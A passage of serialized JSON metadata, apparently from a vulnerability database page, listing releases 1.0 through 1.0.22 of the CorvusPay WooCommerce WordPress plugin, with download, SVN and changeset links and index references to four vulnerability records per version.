ntegration.1.0.22.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.22\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.21&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.22",[851,852,853,854],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":856,"download_url":857,"svn_tag_url":858,"released_at":35,"has_diff":54,"diff_files_changed":859,"diff_lines":35,"trac_diff_url":860,"vulnerabilities":861,"is_current":54},"1.0.21","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.21.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.21\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.20&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.21",[862,863,864,865],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":867,"download_url":868,"svn_tag_url":869,"released_at":35,"has_diff":54,"diff_files_changed":870,"diff_lines":35,"trac_diff_url":871,"vulnerabilities":872,"is_current":54},"1.0.20","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.20.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.20\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.19&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.20",[873,874,875,876],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":878,"download_url":879,"svn_tag_url":880,"released_at":35,"has_diff":54,"diff_files_changed":881,"diff_lines":35,"trac_diff_url":882,"vulnerabilities":883,"is_current":54},"1.0.19","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.19.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.19\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.17&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.19",[884,885,886,887],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":889,"download_url":890,"svn_tag_url":891,"released_at":35,"has_diff":54,"diff_files_changed":892,"diff_lines":35,"trac_diff_url":893,"vulnerabilities":894,"is_current":54},"1.0.17","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.17.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.17\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.16&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.17",[895,896,897,898],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":900,"download_url":901,"svn_tag_url":902,"released_at":35,"has_diff":54,"diff_files_changed":903,"diff_lines":35,"trac_diff_url":904,"vulnerabilities":905,"is_current":54},"1.0.16","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.16.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.16\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.15&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.16",[906,907,908,909],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":911,"download_url":912,"svn_tag_url":913,"released_at":35,"has_diff":54,"diff_files_changed":914,"diff_lines":35,"trac_diff_url":915,"vulnerabilities":916,"is_current":54},"1.0.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.15.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.15\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.14&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.15",[917,918,919,920],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":922,"download_url":923,"svn_tag_url":924,"released_at":35,"has_diff":54,"diff_files_changed":925,"diff_lines":35,"trac_diff_url":926,"vulnerabilities":927,"is_current":54},"1.0.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.14.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.14\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.13&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.14",[928,929,930,931],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":933,"download_url":934,"svn_tag_url":935,"released_at":35,"has_diff":54,"diff_files_changed":936,"diff_lines":35,"trac_diff_url":937,"vulnerabilities":938,"is_current":54},"1.0.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.13.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.13\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.12&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.13",[939,940,941,942],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":944,"download_url":945,"svn_tag_url":946,"released_at":35,"has_diff":54,"diff_files_changed":947,"diff_lines":35,"trac_diff_url":948,"vulnerabilities":949,"is_current":54},"1.0.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.12.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.12\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.11&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.12",[950,951,952,953],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":955,"download_url":956,"svn_tag_url":957,"released_at":35,"has_diff":54,"diff_files_changed":958,"diff_lines":35,"trac_diff_url":959,"vulnerabilities":960,"is_current":54},"1.0.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.11.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.11\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.10&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.11",[961,962,963,964],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":966,"download_url":967,"svn_tag_url":968,"released_at":35,"has_diff":54,"diff_files_changed":969,"diff_lines":35,"trac_diff_url":970,"vulnerabilities":971,"is_current":54},"1.0.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.10.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.10\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.9&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.10",[972,973,974,975],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":977,"download_url":978,"svn_tag_url":979,"released_at":35,"has_diff":54,"diff_files_changed":980,"diff_lines":35,"trac_diff_url":981,"vulnerabilities":982,"is_current":54},"1.0.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.8&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.9",[983,984,985,986],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":988,"download_url":989,"svn_tag_url":990,"released_at":35,"has_diff":54,"diff_files_changed":991,"diff_lines":35,"trac_diff_url":992,"vulnerabilities":993,"is_current":54},"1.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.7&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.8",[994,995,996,997],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":999,"download_url":1000,"svn_tag_url":1001,"released_at":35,"has_diff":54,"diff_files_changed":1002,"diff_lines":35,"trac_diff_url":1003,"vulnerabilities":1004,"is_current":54},"1.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.6&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.7",[1005,1006,1007,1008],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":1010,"download_url":1011,"svn_tag_url":1012,"released_at":35,"has_diff":54,"diff_files_changed":1013,"diff_lines":35,"trac_diff_url":1014,"vulnerabilities":1015,"is_current":54},"1.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.5&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.6",[1016,1017,1018,1019],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":1021,"download_url":1022,"svn_tag_url":1023,"released_at":35,"has_diff":54,"diff_files_changed":1024,"diff_lines":35,"trac_diff_url":1025,"vulnerabilities":1026,"is_current":54},"1.0.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.4&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.5",[1027,1028,1029,1030],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":1032,"download_url":1033,"svn_tag_url":1034,"released_at":35,"has_diff":54,"diff_files_changed":1035,"diff_lines":35,"trac_diff_url":1036,"vulnerabilities":1037,"is_current":54},"1.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.3&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.4",[1038,1039,1040,1041],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":1043,"download_url":1044,"svn_tag_url":1045,"released_at":35,"has_diff":54,"diff_files_changed":1046,"diff_lines":35,"trac_diff_url":1047,"vulnerabilities":1048,"is_current":54},"1.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.2&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.3",[1049,1050,1051,1052],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":1054,"download_url":1055,"svn_tag_url":1056,"released_at":35,"has_diff":54,"diff_files_changed":1057,"diff_lines":35,"trac_diff_url":1058,"vulnerabilities":1059,"is_current":54},"1.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.2",[1060,1061,1062,1063],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":1065,"download_url":1066,"svn_tag_url":1067,"released_at":35,"has_diff":54,"diff_files_changed":1068,"diff_lines":35,"trac_diff_url":1069,"vulnerabilities":1070,"is_current":54},"1.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.1",[1071,1072,1073,1074],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":1076,"download_url":1077,"svn_tag_url":1078,"released_at":35,"has_diff":54,"diff_files_changed":1079,"diff_lines":35,"trac_diff_url":35,"vulnerabilities":1080,"is_current":54},"1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0\u002F",[],[1081,1082,1083,1084],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37}]